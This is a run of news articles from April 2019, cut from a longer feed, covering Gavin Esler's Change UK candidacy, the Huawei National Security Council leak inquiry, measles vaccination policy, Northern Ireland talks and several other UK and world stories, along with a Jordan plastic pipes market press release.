five works of fiction) when an email floated across his screen from Change UK: If youre interested in running we are looking for candidates from all walks of life, it said. It took me less than 10 minutes to fill out the form. He emailed his wife. Did she think he was nuts? No. Maybe she didnt think it was going to happen. Maybe I didnt think it was going to happen. A few days later he was called for an interview. Esler hadnt been interviewed for a job since he applied to be North America Correspondent at the BBC in 1989. Over Skype, Heidi Allen with two or three other people in the room asked him questions. Why do you want to do it? and so on. It lasted around three-quarters of an hour. I didnt think I would get it, he adds. But at six oclock on Easter Sunday he answered the phone to Chris Leslie, who said they would like him to run, at the top of the list. I said, OK I think. I just need to talk to my wife. Anna said great, he continues. I could see we were both thinking, Is this great? Is this a good idea? Is this OK? He didnt sleep the night before the launch unusually for him, given that he once slept through a mortar attack in Panama. All he could think as he travelled to Bristol was so what, actually, am I supposed to be doing? Three times he says he doesnt want to let anyone down. On one level he is aware of how much he has on his plate. He has two young daughters aged five and seven and his wife is in the middle of recording a new album. Theres a lot on. That is my biggest worry about any political thing. After retiring from the BBC two years ago, his main role was as chancellor of Kent University. Life seemed settled. Esler, after all, has had his share of upheaval. His daughter from his first marriage was diagnosed with Hodgkins Lymphoma aged 13 in 2006 (She is cured. That was a miracle). Shortly after, according to reports at the time, he split with his wife Patricia and moved in with Anna, 28 years younger than him. I ask if he is a total bastard. It wasnt quite like that, he laughs. My wife and I split up, then I met Anna. Im glad I cleared that up. Anyone who goes through divorce goes through a very hard time. But to see [all my children together now] makes my heart break with happiness. I am thinking that he really has taken Umunnas media advice to heart. But on another level he is sure of his political commitment. Of his three reasons for joining the Remain Alliance, as Change UK dubs itself, the first was the most important: Stop Brexit. The second: Fix Britain. (The third is EU reform). He talks fluently about the dangers faced by the country if we dont take stock quickly, decisively drawing comparisons with the trajectory taken by the US and warning that we dont want to end up with a Donald Trump-type figure. If you let people who have proved to be not telling the truth and [who are] incompetent get away with Brexit, then we are entering a kind of Trumpland. For this reason, broadcasters though they do a brilliant job most of the time need to think very carefully about what they mean about balance. Similarly, in the debate on the economics of Brexit, balance needs to be reflected in how qualified people are to talk on the subject. I have friends at the BBC and Channel 4 soul-searching. Its not something people want to discuss publically. This is the nub of his argument, his biggest fear, perhaps, the medias role in creating a monster. I cant tell that hes getting angry hes very reserved. But he apologises for being so intense. Sorry, this is my high horse, he says. But it becomes shameless [the lying], it has become normalised in America and I would hate that to happen here. "I have a lot on at home with my two young daughters. Thats my biggest worry without any politics going on" Beyond that, he says there is something fundamentally broken about our system. He is dismissive of Jeremy Corbyn and Theresa May. The leadership of the two main parties represent what I think of as the brain-dead politics of the past. They are ideologically driven, not facts-based, quite often. And theres nastiness in the Labour Party and in the Tories. Our politics is broken in a lot of ways. Esler could easily be cast as the metropolitan elite so derided by Brexiteers. But his upbringing was working-class: he was born on a council estate in Glasgow, and lived with his parents, two aunts and grandmother. After the family moved to Edinburgh he won a scholarship aged seven to Heriots. I could say, I was born in a council house in Glasgow, working-class family, total of six people and I went to a state school. All of which is true. Or I could say I went to a famous school in Edinburgh where they played rugby and then I went to university. Youd have two persons. But both things are true. The Cock Tavern, in Mare Street, is brewing 500 pints using demerara sugar, fresh mint and limes. The five per cent-strength beer will be named Solidarity in support of Ms Abbott, who represents neighbouring constituency Hackney North and Stoke Newington. Manager Christian Campbell told the Standard: Were a beer pub and we like to brew beers our customers enjoy. Diane is well-liked by our customers so we wanted to show her some love with this beer. The Cock Tavern in Mare Street, Hackney / The Cock Tavern Ms Abbott, a veteran MP of 32 years, apologised sincerely last week after the Sun published a picture of her sipping the mojito can. Alcohol has been banned on all public transport in London since 2008. Asked what he made of the storm, Mr Campbell said: Honestly? I thought it was relatable. In the pub we often talk about politics, Brexit and all that nonsense. Were not fans of people like Nigel Farage, posing in pubs with his pint. Thats a popular image, but when you see someone stressed and busy having a cheeky M&S mojito its a big story. But actually, it was very relatable if you live in London. Mr Campbell added Ms Abbott, a veteran MP of 32 years, is an occasional visitor to the pub. She is known to enjoy an IPA. The Solidarity brew will be ready in two weeks time, and Mr Campbell predicted: It will be tasty, and hopefully the sun will be shining when its ready. J eremy Corbyn has snubbed Donald Trump by turning down his invitation to a state banquet during the US president's visit. The Labour leader joins Lib Dem chief Vince Cable and Commons Speaker Jon Bercow in declining to attend the event. He said: "Theresa May should not be rolling out the red carpet for a state visit to honour a President who rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric. "Maintaining an important relationship with the United States does not require the pomp and ceremony of a State Visit. It is disappointing that the Prime Minister has again opted to kowtow to this US administration. "I would welcome a meeting with President Trump to discuss all matters of interest." TODO: define component type apester It was confirmed earlier this month that President Trump would have a state visit at the start of June. Buckingham Palace confirmed on Wednesday he and First Lady Melania will arrive on June 3 as guests of the Queen and will meet the Prime Minister for bilateral talks. Donald Trump will visit the UK in June / Getty Images Announcing the visit, Buckingham Palace said: The President of the United States, President Donald Trump, accompanied by Mrs Melania Trump, has accepted an invitation from Her Majesty The Queen to pay a state visit to the United Kingdom. After the visit was announced on Wednesday, Prime Minister Theresa May said the UK and US have a deep and enduring partnership. Theresa May said the visit would be an opportunity for the UK and US to 'strengthen our close relationship' / AFP/Getty Images She said: We do more together than any two nations in the world and we are both safer and more prosperous because of our cooperation. The state visit is an opportunity to strengthen our close relationship in areas such as trade, investment, security and defence, and to discuss how we can build on these ties in the years ahead. A White House spokesman the visit will reaffirm the steadfast and special relationship between the United States and the United Kingdom. President Trump previously visited the UK in 2018 / Matt Dunham/AFP/Getty Images During his visit in June, he will attend an event in Portsmouth to mark the 75th anniversary of D-Day. After the three-day visit to the UK, Mr Trump and his wife will then travel to Normandy on June 6 where they will meet French president Emmanuel Macron. However, there has been a backlash to the proposals, with thousands of people vowing to protest in London on the dates. There were protests when he previously visited the UK in 2018. On a Facebook event, which more thousands have said they are interested in, demonstration organisers said: In early June, Donald Trump is planning to come to the UK. This time, it will be for a full state visit - with processions down the Mall in a golden carriage. But there wont be any cheering crowds. Last year, a quarter of a million mobilised to say no to Trumps politics of hate and division. "This time, we will take to the streets in even bigger numbers - to fight for migrant and refugee rights, for womens rights, against the corporate elites and for the future of our planet. M inisters have been issued an ultimatum over the leak of secret discussions by the UKs top national security body, according to reports. Theresa May is facing calls for a full police inquiry after the disclosure of discussions on whether to grant Chinese telecoms giant Huawei the go-ahead to participate in the UK's 5G communications network. MPs denounced the unprecedented leak following Tuesday's meeting of the National Security Council (NSC) as "completely shocking" and called for action to find the perpetrator. Reports have emerged that Whitehall's most powerful official, Cabinet Secretary Sir Mark Sedwill, has demanded ministers in attendance at the council meeting confess or deny if they were behind the leak. The Guardian reported that Sir Mark has written to order those present to tell him "immediately" whether they were involved. Downing Street refused to say whether a leak inquiry was already under way but insisted the Prime Minister regarded the protection of information concerning national security as a "matter of the highest importance". Two Cabinet ministers - Defence Secretary Gavin Williamson and Foreign Secretary Jeremy Hunt - publicly denied that they were responsible. However, former defence secretary Sir Michael Fallon said a Whitehall leak inquiry by civil servants was insufficient and that only a proper Scotland Yard investigation could get to the truth. He said Cabinet ministers attending the meeting should have their mobile phones checked to see if they contacted journalists afterwards, and if anyone was found to be responsible they should be prosecuted under the Official Secrets Act. A Met Police spokeswoman said she could neither confirm nor deny any police investigation had been requested or was under way and Downing Street sources refused to comment on security matters point blank. Former minister Andrew Mitchell said Mrs May should order MI5 to conduct a full investigation, which could include interviewing Cabinet ministers if necessary. The anger among MPs reflected concerns that the leak from the NSC - where senior ministers are briefed by intelligence chiefs from MI5, MI6 and GCHQ - could damage intelligence-sharing relations with key allies. It followed a report in The Daily Telegraph that Mrs May - who chaired the meeting - had overridden the objections of key ministers to give the green light for Chinese tech giant Huawei to participate in the UK's 5G communications network. Five ministers - Mr Hunt, Mr Williamson, Home Secretary Sajid Javid, International Development Secretary Penny Mordaunt and International Trade Secretary Liam Fox - were reported as having expressed concern. Dublin, April 26, 2019 (GLOBE NEWSWIRE) -- The "Jordan Plastic Pipes and Fittings Market Outlook to 2022" report has been added to ResearchAndMarkets.com's offering. The report covers plastic pipe market segmentation by type of pipes (UPVC, PE, CPVC and others), by end user applications (water supply and sewage, plumbing, irrigation, chemical & oil and others), by market structure (organized and unorganized) and by domestic manufacturing and import. Snapshot on Middle East plastic pipe and fittings market including overview, market size (2012-2017), market segmentation (by type of pipes, by market structure and by end user applications), market size future outlook (2017-2023E) and market segmentation future outlook (2023E). The report also covers investment model for setting up a plastic pipe factory, factors affecting pricing, common manufacturing standards, buying decision parameters, issues and challenges, growth drivers, Porter's five force analysis and import and export scenario. The report also covers competition landscape (competition stage and parameters of competition) and major plastic pipes and fittings manufacturers in Jordan (World Plastic Pipes, Farhat Plastics, IPCO, Universal, Specialized Co. for Plastic Industries, Altayseer, Omoush Group (Al-Nahda), Engineering Plastic Industries and Al Rawand Plastic Industries). The report concludes with future projections and analyst recommendations highlighting the major opportunities and cautions. The report is useful for manufacturers of plastic pipes and fittings and manufacturers of plastic resins to align their market centric strategies according to ongoing and expected trends in the future. Jordan Plastic Pipes and Fittings Market Size The Jordan plastic pipe industry is tending towards matured stage with a stable growth rate. In terms of revenue, the Jordan Plastic Pipes and Fittings market has registered a constant growth with positive CAGR in last five years (2012-2017). Owing to larger population concentration in cities like Amman, Irbid and Zarqa, majority of the demand from these cities comes from water supply, sewage and plumbing applications. From Jordan Valley, Wadi Arab, North East, Middle and South Ghor Region the demand for pipes is majorly for applications in agriculture and irrigation. The elaborate plans like the Jordan Economic Growth Plan 2018-2022 and the National Water Strategy 2016-2025 are aimed at improving the overall economy through infrastructural development, water resource management, reduction of public debt and the water deficit in the country. Jordan Plastic Pipes and Fittings Market Segmentation The demand for uPVC pipe dominated the Jordan plastic pipe market, followed by PE, CPVC, and other type of plastic pipes respectively. The demand for uPVC pipes is high owing to the vast application in irrigation, water supply, sewage and plumbing applications. PE pipes in Jordan majorly have their applications in manufacturing and mining applications. Jordan is classified as a semi-arid to arid region which presents a huge challenge of efficient water supply in the country. The demand of plastic pipes for water supply and sewage application is highest in the country followed by plumbing, industrial, irrigation and other application respectively. Organized players in the market include companies like World Plastics, Farhat Plastics, IPCO and other players which collectively dominated the market. Competition Landscape The market for plastic pipes and fittings in Jordan is largely concentrated with majority of the market dominated by only 5-6 players. The overall plastic pipes and fittings industry in Jordan has around 20-25 manufacturers. Major Pipe manufacturers include World Plastics, Farhat Plastics, IPCO and other players. With the closure of land borders with Syrian and Iraq, the competition for market share in the domestic market has intensified. However, Jordanian manufacturers are also exploring other markets in the Middle East and North African region, and in the coming years the market presence of these players in Yemen, Turkey, Egypt and other countries is likely to increase. Jordan Plastic Pipes and Fittings Market Future Projections The Jordan plastic pipe market is expected to grow with a positive CAGR from 2018-2022. The primary demand is likely to originate from major cities like Amman, Irbid and Zarqa owing to the concentration of population. Regions like Al-Mafraq, Karak, Balqa and Aqaba will also witness surge in demand with the growth of various sectors like construction, manufacturing and agriculture in these regions. The IMF Extended Fund Facility Program (EFF) along with the Jordan Economic Growth Plan 2018-2022 (JEGP) are aimed at stabilizing the economy and provide a boost to industries like construction, manufacturing and the agriculture industry. The development of the Aqaba port as a key logistics hub, opening up borders with Iraq and investing in construction sector to develop school, hospital, and housing infrastructure to accommodate the surge in population are some of the steps that the government has in its EGP. Plans for development of water desalination plants are also being considered by the government. All these steps towards the development of various sectors will directly or indirectly help the plastic pipe and fittings industry to grow as well. Key Topics Covered in the Report Introduction on Jordan Plastic Pipes and Fittings Market Value Chain Manufacturing Process Stakeholders in the Market Market Size by revenue (2012-2017) Market Segmentation on the Basis of Types of Pipes, Type of Market Structure, Type of End User Application Factors Determining Prices of the Product Competitive Landscape in the Industry Shares and Company Profiles of Major Players in the Market Common Manufacturing Standards Used Growth Drivers Issues and Challenges Porter Five Forces Analysis Future Outlook for the market (2018-2022) including estimated market size in terms of revenue, market segmentation on the basis of type of pipes, type of market structure and type of end user application for the period Snapshot on Middle East Plastic Pipes and Fittings market including market size by revenue (2013- 2017), market segmentation on the basis of types of pipes, type if market structure, type of source and type of end user application Companies Mentioned Al Rawand Plastic Industries Altayseer Engineering Plastic Industries Farhat Plastics IPCO Omoush Group (Al-Nahda) Specialized Co. for Plastic Industries Universal World Plastic Pipes For more information about this report visit https://www.researchandmarkets.com/r/rfin8o Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. C abinet ministers today faced having their mobile phone and email records seized in a probe to catch the culprit behind an unprecedented leak from Britains National Security Council. Cabinet Secretary Sir Mark Sedwill has launched a leak inquiry as outrage grows over the unauthorised disclosure from the top-secret body. Ministers and aides were reported to have been given a deadline to give their consent to being investigated. In a first-hand insight into Whitehall hunts for the people behind leaks, one of Sir Marks predecessors, Lord ODonnell, said: Ive been involved in inquiries where we have looked at mobile phone records, email records and the like. Personally I would be doing that. Lord ODonnell branded the unauthorised disclosure beyond the pale, and warned that Mrs Mays looming departure as Prime Minister was making it more difficult to maintain control at the heart of government. Theresa May has given the go-ahead for China's Huawei to help build a 5G network in the UK / AFP/Getty Images Baroness Neville-Jones, a former chairwoman of the Joint Intelligence Committee, said it was appalling that lack of discipline, blamed for numerous leaks from the Cabinet, was now infecting the NSC, where senior ministers are briefed by MI5, MI6 and GCHQ chiefs. People need to take a grip and actually start treating serious subjects seriously, she told the BBC. Former National Security adviser Lord Ricketts is calling for a full inquiry into the leak, which was on discussions over whether Chinese telecoms giant Huawei should play a role in the UKs 5G network. He suggested investigators from MI5 could be brought in to make the culprit feel very uncomfortable. Police could be called in if criminal acts are suspected. However, Lord ODonnell, who set up the NSC in 2010, said that if police are involved then the proof requirements can be a really hard barrier. He added: On the other hand, you can pass on your suspicions to the Prime Minister and it will then be for the Prime Minister to decide what to do. A former special branch officer might be tasked to try to find the source, and could look people in the eye and find out from them are they telling the truth, said the peer. The anger among Whitehall grandees, as well as MPs, reflects concerns that leaks from the NSC could potentially put lives in danger, and risk harming intelligence-sharing with allies. Former Chief Whip Andrew Mitchell said Mrs May should order MI5 to conduct a full investigation, interviewing Cabinet ministers if necessary. Two Cabinet ministers, Defence Secretary Gavin Williamson and Foreign Secretary Jeremy Hunt, have publicly denied that they, or their teams, were responsible for the leak. Sources close to International Development Secretary Penny Mordaunt and International Trade Secretary Liam Fox denied their involvement. Home Secretary Sajid Javid has called the leak unacceptable. Mrs May is believed to have opposed a ban on Huawei being involved in the 5G network, despite concerns over the risk that the company could be used by the Chinese government for spying operations, a claim which the firm denies. Security chiefs in Britain say any such threat can be countered by limiting the scope of access given to Huawei, or other firms, to the 5G network. H ealth Secretary Matt Hancock has not ruled out banning unvaccinated children from school following similar measures taken in US states, France and Italy. The health secretary Matt Hancock said he "wouldn't rule out anything" when asked whether unvaccinated children should be banned from entering schools. Speaking on Talk Radio, Mr Hancock said the UK was "not there yet" when it came to issuing a ban. Mr Hancock was speaking on Julia Hartley-Brewer's breakfast show after new figures from Unicef showed that over half a million children in the UK were unvaccinated against measles between 2010 and 2017. He said he was very worried about the issue, adding: "It's a responsibility on everybody to get vaccinated." Mr Hancock was asked by Ms Hartley-Brewer if he'd consider meeting the Education Secretary, Damian Hinds, to discuss "following in the footsteps" of France and the US. He replied: "I wouldn't rule out anything but I don't think we're there yet. Health and Social Care Secretary Matt Hancock leaving 10 Downing Street, London, / PA "In America they tried to do this and the courts stopped them so it can be complicated, but really it's people's responsibility as a parent to do the right thing - the right thing for their own children as well as, of course, the right of the community that everybody lives in." A ban on unvaccinated children in public places in Rockland County, New York, which has experienced a measles outbreak, was put on hold earlier this month after parents challenged the decision. But last week, a Brooklyn judge upheld an emergency order which said people living in certain parts of Williamsburg, Brooklyn, must get vaccinated amid a measles outbreak there. Earlier, Mr Hancock said the rise in people not vaccinating had to be tackled, and that he was "particularly worried" about the spread of anti-vaccination messages online. He told BBC Radio 4's Today programme that he was meeting social media companies on Monday to "require that they do more to take down lies that are promoted on social media about the impact of vaccinations". Asked whether children who have not been vaccinated for measles should be excluded from schools, Prime Minister Theresa May's official spokesman said: "I haven't seen anyone suggesting that." Unicef's analysis shows that increasing numbers of youngsters around the world are being left unprotected against measles, which can cause disability and death. Its report showed that an estimated 169 million children around the world missed out on the first dose of the measles vaccine between 2010 and 2017 - an average of 21.1 million a year. Simon Stevens, chief executive of NHS England, said: "Getting yourself and your children vaccinated against killer diseases is essential to staying healthy, and vaccine rejection is a serious and growing public health time bomb. "With measles cases almost quadrupling in England in just one year, it is grossly irresponsible for anybody to spread scare stories about vaccines, and social media firms should have a zero-tolerance approach towards this dangerous content." A list of 10 high-income countries, published by Unicef, shows the US has the highest number of children missing out on their first dose of the vaccine. Between 2010 and 2017, some 2,593,000 youngsters in the US did not have their first dose of the vaccine. The second most affected country was France, with 608,000 unvaccinated children over the same time period, followed by the UK, with 527,000. Other countries including Argentina, Italy, Japan, Canada, Germany and Australia also made the top 10. Children need two doses of the vaccine for protection, with the World Health Organisation (WHO) recommending 95% coverage to achieve herd immunity, which offers protection against the disease spreading in the community. In the UK in 2017, there were 259 measles cases in England, rising to 966 in 2018. In 2016 and 2017, uptake of the first dose of the MMR vaccine in five-year-olds in the UK exceeded 95% for the first time. However, two doses of MMR vaccine are required to ensure full protection from measles. Uptake of the second dose of MMR in five-year-old children is 88% - well below the 95% WHO target. Figures from October to December 2018 show nine out of 10 children received their first dose by age two, rising to 95% at age five. By age five, 87% had had their second dose, the quarterly figures showed. Mary Ramsay, Public Health England's head of immunisations, said: "The UK achieved WHO measles elimination status in 2017, so the overall risk of measles to the UK population is low. Mr Hancock would not rule out banning children from school if they are not vaccinated / PA "However due to ongoing measles outbreaks in Europe, we will continue to see cases, particularly in unimmunised individuals. "This could lead to some spread in communities with low MMR coverage and in age groups with very close mixing. "Measles can be extremely serious, so make sure you and your family are protected." Globally, 85% of children received their first dose in 2017 and 67% got the second dose. Unicef said the rates reflected "lack of access, poor health systems, complacency, and in some cases fear or scepticism about vaccines". L ord of the Rings actor John Rhys-Davies has been slammed for banging his hands on the table and shouting oh woman at Caroline Lucas during BBC's Question Time. Mr Rhys-Davies, who plays the dwarf Gimli in the trilogy, became exasperated at the Brighton MP during a debate on Thursday night on whether US President Donald Trump should be afforded a UK state visit. Hes elected head of state of a great democracy, the last best hope for man kind of course, he said. He represents the American people. Ms Lucas interrupted: He doesnt, he lost the popular vote by nearly three million votes. Mr Rhys-Davies then became visibly agitated, repeatedly banged his hands on the table and shouted: Oh woman! Have you never read Kenneth Arrow and the Arrows theorem? Any system of election has its problems. Ms Lucas replied that the American system has more problems than most. Arrow's "impossibility" theorem states that no rank-order electoral system can be designed that always satisfies a specified set of three "fairness" criteria. The clip of the exchange was shared on Twitter, with many people praising Ms Lucas calm response to the outburst. Shahmir Sanni wrote: Every woman has seen a man react like this when they are caught off guard by common sense. Yet they stay calm & resilient. @CarolineLucas is the reason Im voting Green in the EU elections and the general election. James Felton posted: "'Oh woman have you not read Kenneth Harrow may be the stupidest sentence ever to follow someone slamming their fists [sic] on the table. Others called out Mr Rhys-Davies behaviour as thuggish and sexist. Dr Lauren Gavaghan said: John Rhys-Davies loses it & screeches oh woman! like a petulant child at a dignified & calm Caroline Lucas when faced with nothing but a simple fact. This is precisely why facts are so key in public debate these days. M ore whales off the coast of Scotland face a growing risk of getting entangled in fishing ropes as their numbers increase, experts have warned. The ongoing problem saw a humpback whale washed up on an East Lothian beach in Scotland this week after getting wrapped in rope and ocean debris for weeks. The 30ft marine mammal had deep cuts into its blubber layer and suffered from sever chronic infection and parasites, according the post mortem carried out on Skateraw beach near Dunbar. The young whale had struggled through the lines of cralle fishing, which involves a benign process where nets are lowered to the seabed to collect crustaceans by ropes attached to a buoy. A juvenile humpback whale was found dead and entangled in rope / East Lothian Council This all built a grim example of the impacts of marine entanglement in these larger baleen whales, said the Scottish Marine Animal Stranding Scheme (SMASS) who conducted the post mortem. Entanglements are one of the most sever welfare problems affecting marine animals. They can interfere with the animals ability to move, feed and reproduce, they can cause horrific tissue damage over many weeks and months, must be incredibly painful and if many animals get entangled, the morbidity and mortality effects impact at a population as well as an individual level. Dr Andrew Brownlow, a veterinary pathologist at SMASS explained that the population has been increasing since the International Whaling Commission introduced a moratorium on commercial whaling in Britain in the 1980s, putting more animals at risk of getting entangled. Although determining exact figures is difficult, Dr Brownlow said: The whale numbers around the UK are increasing because the moratorium on whales means they are not being extracted in the same numbers as the past. Entanglement often causes exhaustion and sever infection. / SMASS We are likely to see more whales around our waters in future. But that means that other activity we are doing in our oceans must be handled with much more caution. Human activity including acoustic pollution, waste, plastic and fishing debris is making the marine environment hazardous for these animals. The fishermen are devastated the most. Its traumatic for them to see the animals entangled in rope and debris. Many factors are involved. It's a complex issue. The problem is not exclusive to the UK and many man made causes of death like chemical pollution, bycatching where animals get trapped in nets and ship strikes are having widespread effects. Right whales off the North American Atlantic coast are severely endangered with large numbers wiped out from both entanglement and ship strikes, Dr Brownlow explained. From 1970 to 2009, 43 per cent of all endangered whale species off the east coast of North America resulted from entanglement in fishing gear, according to a report from the Society of Conservation Biology. With more whales in the water, solutions to minimise the risk of entanglement need to be found. / SMASS Dr Brownlow said various fishing techniques can help minimise the risk of entanglement like avoiding having unnecessary rope in the water for longer than needed or using looped rope if its not essential. In the US, technology has been developed for ropeless fishing, where a device is attached to the net on the seabed, and when a signal is sent it will inflate to the surface. A system off premium prices for fish caught by those who are implementing the best techniques to minimise entanglement could help the problem, Dr Brownlow says. The question worth asking is would people pay a premium for fish that were caught by those who were accredited with such techniques?" N on-smokers are increasingly being diagnosed with lung cancer as experts warn that its more common than most people think. Around 6,000 never-smokers who have had less than 100 cigarettes in their lifetime die from the disease every year in the UK, according to a new study. Indoor and outdoor pollution, including car fumes and second-hand smoke caused by cigarettes and wood-burning stoves raises the risk of lung cancer, experts say. Death from lung cancer is now higher than cervical, ovarian and lymphoma cancers, according to a paper published today in the Royal Society of Medicine. Professor Mick Peake from UCL Hospital Cancer Collaborative, who co-authored the report, urged greater work to tackle alternative causes of lung cancer to make sure people are diagnosed quicker. Pollution is a big global killer other than smoking, research shows / PA The studys authors said lung cancer is the eight most common cause of cancer-related deaths in the UK, blaming the lack of research into the disease on the stigma surrounding smoking. Professor Peake said: Despite advances in our understanding, most people who have never smoked do not believe they are at risk and often experience long delays in diagnosis, reducing their chances of receiving curative treatment. The stigma of smoking has been the major factor behind the lack of interest in, knowledge of and research into lung cancer. Therefore, in many ways, never-smokers who develop lung cancer are, as a result, disadvantaged. Around 900 people die from cervical cancer, 4,200 from ovarian cancer and 5,200 from lymphoma in the UK every year. Authors added: "Lung cancer in never-smokers is more common than most people think and on the rise: it is time to give this disease the recognition it deserves." While smoking is still responsible for 86 per cent of cases of lung cancer in the UK, pollution and second-hand smoke are also connected. 86 per cent of lung cancer deaths are smoking related A recent Public Health England report called for new measures to cut air pollution, including stopping cars idling near school gates and promoting carpool lanes. Lead author, Professor Paul Cosford, director for health protection at PHE, said for too long having lung cancer has been thought of as only a smoking-related disease. Although its an important association, he said awareness of other causes needs to be raised with clinicians and MPs to cut other risk factors like indoor and outdoor pollution. He said: This is one reason why PHE published its review of the evidence and recommended specific actions local authorities can take to improve their air quality. A n agreement has been reached to establish a new round of talks involving all the main political parties in Northern Ireland, Theresa May and Leo Varadkar have said in a joint statement. Negotiations are expected to take place as soon as possible after local council elections in Northern Ireland on May 2. All the main parties will be invited. The move comes after politicians were publicly challenged by a priest at the funeral of journalist Lyra McKee over why it had taken the 29-year-old's murder to force politicians to unite. The Prime Minister Theresa May and Irish Taoiseach said in a joint statement they were "determined to work together to ensure this process comes to a successful conclusion". It is the latest attempt to restore the powersharing agreement after the Stormont Assembly collapsed in Northern Ireland more than two years ago. The devolved executive and assembly which have powers over the region collapsed following a row between former governing partners the DUP and Sinn Fein. Endless rounds of negotiations failed to break the deadlock. Taoiseach Leo Varadkar and Prime Minister Theresa May before Lyra McKee's funeral service / PA The statement said: "In coming together with other political leaders in St Anne's Cathedral to pay tribute to Lyra McKee, we gave expression to the clear will and determination of all of the people of these islands to reject violence and to support peace and a better future for everyone in Northern Ireland. "We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. We agree that what is now needed is actions and not just words from all of us who are in positions of leadership. It added: "We have agreed to establish a new process of political talks, involving all the main political parties in Northern Ireland, together with the UK and Irish Governments, in accordance with the three stranded process. The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement - the NI Executive, Assembly and North-South Ministerial Council - so that they can effectively serve all of the people for the future. "We have asked the Secretary of State for Northern Ireland and the Tanaiste to meet later today in Belfast to set out our proposed approach and to commence the talks process as soon as possible after the local elections in Northern Ireland. A family handout photo of Lyra McKee, who was shot dead on Thursday / PA "In addition, we have agreed that there should be a meeting of the British-Irish Intergovernmental Conference during the same period. The Conference will consider East/West relations, security cooperation, and political stability in Northern Ireland. "We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues." They added that progress will be reviewed at the end of May. The Stormont Assembly and ministerial Executive collapsed in a row between the former powersharing partners over a botched green energy scheme. Multiple rounds of talks have failed to secure their restoration. Sinn Fein leader Mary-Lou McDonald has said her party is ready to play a full part in a "serious and meaningful" talks process aimed at restoration. The DUP has consistently called for devolution to be revived or for the UK Government to step in to make more decisions. The Northern Ireland Secretary has already said she intends to hold discussions with Stormont's party leaders. They attended a vigil together in Londonderry after Miss McKee was shot dead by dissident republicans. T he lack of diversity at the top of society is harming the quality of decision-making in public life, the head of the Serious Fraud Office warned today. In a powerful attack on the failure to recruit more women and minority candidates to prominent posts, Lisa Osofsky said Britain would suffer if all we are doing is giving the same opportunities to the same people and added that the country would not be as good as it could be unless action was taken. But the problem affects business and politics too and consequently we are not getting the best decision-making we could. Ms Osofsky said: Only 30 per cent of MPs are women, 30 per cent of police officers, and if you look at the most gender-equal law firm in the UK, that still has a pay gap of 60 per cent when it comes to the partner ranks. Serious Fraud Office boss Lisa Osofsky She added: We could be more diverse. Whats the impact? We are just getting one, homogenous group espousing points of view, were missing the options that might be out there. Ms Osofsky said her organisation would have a 50/50 gender split at senior board level from next month and had also appointed ethnic non-executives. This will make it better at approaching problems, including those which might affect peoples liberty and the use of public money. She added that the benefits of diversity had also been highlighted by 16-year-old Swedish schoolgirl Greta Thunberg, who has Aspergers, spearheading a climate change campaign. P olice told Tommy Robinson to stop handing out free burgers and hot dogs to supporters at a rally because it broke electoral law. At the Family BBQ held in Wythenshawe, the former English Defence leader confirmed he will stand in the European elections next month as an independent candidate in the North West of England. Robinson was offering free food to supporters from a catering van but was forced to stop after officers told him that he was violating electoral law by bribing voters, according to Sky News. Around 300 supporters tuned up to hear the controversial figure speak on the village green on Broadoak Road, Benchill, where the barbecue was served. Around 300 supporters turned up to the rally and barbecue to hear Robinson speak / PA Speaking in Wythenshawe after suffering technical hitches with his PA system, Robinson told the crowd he was entering a David versus Goliath battle to represent Britains betrayed working class. He said: Everyone is so disillusioned with the liars in parliament, but that is also our weakness. It is the reason we are being betrayed and will continue being betrayed until they fear us. The only way they will fear us is if we take their seats. Robinson, whose real name is Stephen Yaxley-Lennon, was projected onto a large digital screen, which earlier in the afternoon read "Tommy Robinson here tonight 8pm." Earlier in the afternoon, Dave Warnock, the minister of Brownley Green Methodist Church, emerged from his building to distribute leaflets to surrounding homes. Robinson has announced he will stand in the forthcoming European elections. / PA They told residents his church was not supporting the event but that a "peace march" would be taking place at 2pm instead. He also offered those who felt intimidated by the event to take refuge in the church. Councillors Tommy Judge, Madeleine Monaghan and Tim Whiston issued a statement to residents condemning Robinson. In a letter they said: Like you, we were horrified over the weekend to learn that two local men had invited Stephen Yaxley-Lennon, aka Tommy Robinson, to hold a Family BBQ in Sheraton ward. Benchill is a residential area, full of homes and families - this area is not suitable for a meeting of this size. There has been no thought for the safety of residents or even for those wishing to attend the event, especially for young children and families. A n army captain has confessed to murdering five women and two girls in a serial killing case which has rocked Cyprus. It came after police found a third body at a remote military gun range near the village of Orounta on Thursday. The suspect had provided directions where to look, a police official said. The womans body has yet to be identified. The 35-year-old man was in custody but has not been named as he is yet to be charged. It is understood he approached the women on a dating site. Police at the scene of the third discovery of a body on Thursday near the village of Orounta / AP The bodies of two women had also been found in an abandoned mine shaft on April 14 and 20. They are thought to be those of two people from the Philippines reported missing in May and August last year. Police had earlier obtained an extension of a remand order against the suspect on suspicion of killing a woman from the Philippines who disappeared in December 2017. Police sources told Reuters the suspect also gave details of an additional victim, "either Indian or Nepalese", killed in the summer of 2018. Two missing girls, aged six and eight, are said to be daughters of two of the victims. D onald Trump said he feels "young" and "vibrant" at the age of 72 and that he can beat 76-year-old Joe Biden in a possible presidential race "easily". At White House press conference on Friday a reporter asked Mr Trump how old is too old to be president of the United States. The US president replied: "I just feel like a young man. I'm so young. I can't believe it. ... I'm a young vibrant man." Former Vice President and Democratic presidential candidate Joe Biden / AP Mr Trump reportedly went on to smile and say that he is not sure about Democratic presidential contender Joe Biden, who is the second-oldest contender in the race behind Bernie Sanders. He said: "I look at Joe. I don't know about him." But he added that he would never say anyone is too old to be president. Earlier on Friday, the president was ridiculed on social media after spelling the word chief in which he claimed to be quoting his country's chief hostage negotiator. He wrote: President J. Trump is the greatest hostage negotiator that I know of in the history of the United States. 20 hostages, many impossible circumstances, have been released in the last two years. No money was paid. Chief Hostage Negotiator, USA! The post racked up more than 22,000 comments with people flagging up the spelling error, with one commenter saying: My 9-year old can spell "chief." Chinese President Xi Jinping (R) meets with Indonesian Vice President Jusuf Kalla, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Wang Ye) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with Indonesian Vice President Jusuf Kalla, who is here to attend the Second Belt and Road Forum for International Cooperation. Xi received a letter from Indonesian President Joko Widodo handed over by Kalla, and asked Kalla to convey his sincere greetings to the Indonesian president. "I 